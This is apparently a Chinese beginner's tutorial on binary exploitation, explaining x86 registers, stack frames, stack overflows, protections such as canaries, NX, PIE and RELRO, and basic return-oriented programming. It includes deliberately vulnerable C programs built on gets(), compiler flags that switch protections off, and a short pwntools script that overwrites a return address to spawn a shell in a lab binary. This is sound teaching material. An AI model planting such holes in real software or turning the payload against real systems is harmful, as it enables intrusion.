PWN入门一函数调用和栈溢出

1 基础知识

1.1 寄存器

32位x86架构下的寄存器可以被简单分为通用寄存器特殊寄存器两类。

1)通用寄存器包括一般寄存器(eax、ebx、ecx、edx),索引寄存器(esi、edi),以及堆栈指针寄存器(esp、ebp)。

eax

被称为累加寄存器(Accumulator),用以进行算数运算和返回函数结果等。

ebx

被称为基址寄存器(Base),在内存寻址时(比如数组运算)用以存放基地址。

ecx

被称为记数寄存器(Counter),用以在循环过程中记数。
edx

被称为数据寄存器(Data),常配合 eax 一起存放运算结果等数据。

esi、edi通常用于字符串操作中,esi 指向要处理的数据地址(Source Index),edi 指向存放处理结果的数据地址(Destination Index)。
esp、ebp用于保存函数在调用栈中的状态

2)特殊寄存器包括段地址寄存器(ss、cs、ds、es、fs、gs),标志位寄存器(EFLAGS),以及指令指针寄存器(eip)。

(1)段地址寄存器就是用来存储内存分段地址的,其中寄存器 ss 存储函数调用栈(Stack Segment)的地址,寄存器 cs 存储代码段(Code Segment)的地址,寄存器 ds 存储数据段(Data Segment)的地址,es、fs、gs 是附加的存储数据段地址的寄存器。

(2)标志位寄存器(EFLAGS)32位中的大部分被用于标志数据或程序的状态,例如 OF(Overflow Flag)对应数值溢出、IF(Interrupt Flag)对应中断、ZF(Zero Flag)对应运算结果为0、CF(Carry Flag)对应运算产生进位等等。

(3)指令指针寄存器(eip)存储下一条运行指令的地址。

1.2 函数调用

堆栈的基础知识:

        栈是一种典型的后进先出 (Last in First Out) 的数据结构,其操作主要有压栈 (push) 与出栈 (pop) 两种操作,两种操作都操作栈顶。

32位平台为例,进程有4GB大小的虚拟地址空间,其中1GB留给系统内核,3GB是进程自身拥有。

 

认识C语言中函数的调用过程:

        当一个函数执行完毕时,程序要回到调用指令的下一条指令(紧接call指令)处继续执行。函数调用过程通常使用堆栈实现,每个用户态进程对应一个调用栈结构(call stack)。编译器使用堆栈传递函数参数、保存返回地址、临时保存寄存器原有值(即函数调用的上下文)以备恢复以及存储本地局部变量。

 

Demo1: 

main函数的局部变量a,b,c的地址是从高地址向低地址;

function参数arg1,arg2,arg3的地址是从低地址向高地址。

由于栈是向低地址增长的,所以arg1是最后压入栈的,即function()的参数是从右向左依次压入栈,c最先压入,b其次压入,a最后压入。

写一个demo看一下汇编代码: 

call 指令是执行两步,首先压入下一条指令的地址(0x00401940),然后跳转到对应函数function,进入到函数后的汇编代码: 

int function(int arg1, int arg2, char * arg3) {
    00201780  push        ebp                   ;保存之前的ebp
    00201781  mov         ebp,esp               ;更新栈底,此时ebp ,esp指向同一地方
    00201783  sub         esp,0C0h              ;开拓栈空间
    00201789  push        ebx                   ;保存之前函数的ebx,esi,edi现场
    0020178A  push        esi  
    0020178B  push        edi  
    0020178C  mov         edi,ebp               ;edi指向新的栈底
    0020178E  xor         ecx,ecx  
    00201790  mov         eax,0CCCCCCCCh   
    00201795  rep stos    dword ptr es:[edi]    ;rep重复执行ecx次,STOS是将eax中的值拷贝到ES:EDI,整体上是初始化栈帧。
    00201797  mov          ecx,offset _091D9EF4_demo@cpp (020C01Ah)  
    0020179C  call        @__CheckForDebuggerJustMyCode@4 (020131Bh)  
;函数内部用户代码开始
printf("%s ",arg3);
return  arg2 + arg1;
;函数内部用户代码结束
    002017B8  pop         edi                        ;恢复现场
    002017B9  pop         esi  
    002017BA  pop         ebx  
    002017BB  add         esp,0C0h                   ;回收栈帧
    002017C1  cmp         ebp,esp                    ;比较ebp esp是否相等来判断堆栈是否平衡
    002017C3  call        __RTC_CheckEsp (0201244h)  ;不相等,则调用堆栈平衡函数
    002017C8  mov         esp,ebp                    ;还原esp
    002017CA  pop         ebp  
    002017CB  ret  

 调用约定:

函数调用总结:

(1)参数传递:通过栈或寄存器方式传递参数。
(2)函数调用:使用call指令调用参数,并将返回地址压入栈中。
(3)保存栈底:保存调用方的栈底寄存器ebp。
(4)申请栈空间和保存寄存器环境:根据函数内局部变量的大小抬高栈顶让出对应的栈空间,并且将即将修改的寄存器保存在栈内。
(5)函数实现代码函数实现过程的代码。
(6)还原环境:还原栈中保存的寄存器信息。
(7)平衡栈空间:平衡局部变量使用的栈空间。
(8)ret返回,结束函数调用从栈顶取出第(2)步保存的返回地址,更新EIP。在非__cdecl调用方式下,平衡参数占用栈空间。
(9)调整esp,平衡栈顶此处为__cdecl特有的方式,用于平衡参数占用的栈顶。 

2 栈溢出

栈溢出指的是程序向栈中某个变量中写入的字节数超过了这个变量本身所申请的字节数,因而导致与其相邻的栈中的变量的值被改变。

首先写一个典型的可溢出代码

#include <stdio.h>
#include <string.h>
void success() { puts("You Hava already controlled it."); }
void vulnerable() {
  char s[12];
  gets(s);
  puts(s);
  return;
}
int main(int argc, char **argv) {
  vulnerable();
  return 0;
}

gcc -m32 -fno-stack-protector -no-pie stacktest.c -o stacktest1

  • NX:-z execstack / -z noexecstack (关闭 / 开启)    栈数据不可执行,于是JMP ESP就不能用了
  • Canary:-fno-stack-protector /-fstack-protector / -fstack-protector-all (关闭 / 开启 / 全开启)  栈里插入cookie信息
  • PIE:-no-pie / -pie (关闭 / 开启)   地址随机化
  • RELRO:-z norelro / -z lazy / -z now (关闭 / 部分开启 / 完全开启)  对GOT表具有写权限

 使用IDA进行观察发现:字符串距离 ebp 的长度为 0x14

并且找到success的地址0x08048442 

 

 

 那么如果我们读取的字符串为:0x14*'a'+'bbbb'+success_addr,由于 gets 会读到回车才算结束,所以程序会直接读取所有的字符串,并且将 saved ebp 覆盖为 bbbb,将 retaddr 覆盖为 success_addr。

此时栈结构如下:

 

 使用pwntool进行测试:

 payload的代码如下:

 

3 程序保护机制

3.1 保护机制

1)CANARY

对栈的保护的一种方式,如果开启cannary,函数调用的时会先往栈里插入一个cookie值,函数返回上一层的时候会验证cookie值是否准确,如果不不准确就立刻停止程序运行。攻击者在覆盖返回地址的时候往往也会将cookie值改掉,这样将导致栈保护检查失败阻止shellcode的执行。在Linux中将cookie值称为canary。但这种保护也不是绝对安全的,攻击者可以利用程序中的函数,获得存在内存中的cookie值。

2)NX 

开启NX则堆、栈不可执行,Windows平台上称其为DEP。NX即No-Execute(不可执行)的意思,NX的基本原理是将数据所在内存页标识为不可执行,当程序溢出成功转入shellcode时,程序会尝试在数据页面上执行指令,此时CPU就会抛出异常,而不是去执行恶意指令,这样溢出后的shellcode无法执行。但是NX也并不是绝对的安全,很多黑客会构造ROP,可利用程序自己的函数或者在libc库中的函数,甚至是pop rdi ret 等gadget 来控制寄存器,最后再调用int 0x80(syscall)来执行系统调用。因为程序自带的函数、libc中的函数,pop rdi ret 等gadget都有执行权限,所以CPU不会报出异常,程序就会继续执行shellcode。

3)PIE

PIE全称是position-independent executable,中文译地址无关可执行文件,该技术是一个针对代码段(.text)、数据段(.data)、未初始化全局变量段(.bss)等固定地址的一个防护技术,如果程序开启了PIE保护的话,在每一次程序时加载时都会变换加载地址,程序的代码指令会被加载到内存中的任何位置,运行的程序通过相对地址获取指令和数据,如果相反的可执行程序,则该程序的代码指令集必须放到指定的位置才可运行。

4)RELRO

对系统安全来说可以写的存储区域就会很危险。尽可能减少可写的存储区域,安全能力就会增强。relro的技术: read only relocation。就是由linker指定binary的一块经过dynamic linker处理过 relocation之后的区域为只读。从而减少对GOT(Global Offset Table)攻击。

3.2 查看文件信息

checksec脚本:

查看elf:

4 ROP

在栈缓冲区溢出的基础上,利用程序中已有的gadgets来改变某些寄存器或者变量的值,从而控制程序的执行流程。所谓 gadgets 就是以 ret 结尾的指令序列。

之所以称之为 ROP,是因为核心在于利用了指令集中的 ret 指令,改变了指令流的执行顺序。

#include <stdio.h>
#include <stdlib.h>
#include <time.h>

void secure(void)
{
    int secretcode, input;
    srand(time(NULL));

    secretcode = rand();
    scanf("%d", &input);
    if(input == secretcode)
        system("/bin/sh");
}

int main(void)
{
    setvbuf(stdout, 0LL, 2, 0LL);
    setvbuf(stdin, 0LL, 1, 0LL);

    char buf[100];

    printf("There is something amazing here, do you know anything?\n");
    gets(buf);
    printf("Maybe I will tell you next time !");

    return 0;
}

编译时确保关闭PIE,STACK检查 

 使用IDA分析C程序,0x08048698处调用了gets函数

通过查看伪代码发现确实是存在gets栈溢出漏洞 

 

在 secure 函数查看调用 system("/bin/sh") 的代码,那么如果我们直接控制程序返回至0x08048638 ,那么就可以得到系统的 shell 了。 

 

在 0x08048698处调用gets函数处先下断点,再执行

 

 

 gets获取输入arg[0]的地址0xffffd15c,ebp是0xffffd1c8,由此可以看出:

arg[0] 相对于 ebp 的偏移为:6c

arg[0] 相对于返回地址的偏移为:6c+4

所以构造paylaod

##!/usr/bin/env python
from pwn import *

sh = process('./rop1')
target = 0x08048638
sh.sendline('A' * (0x6c+4) + p32(target))
sh.interactive()

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值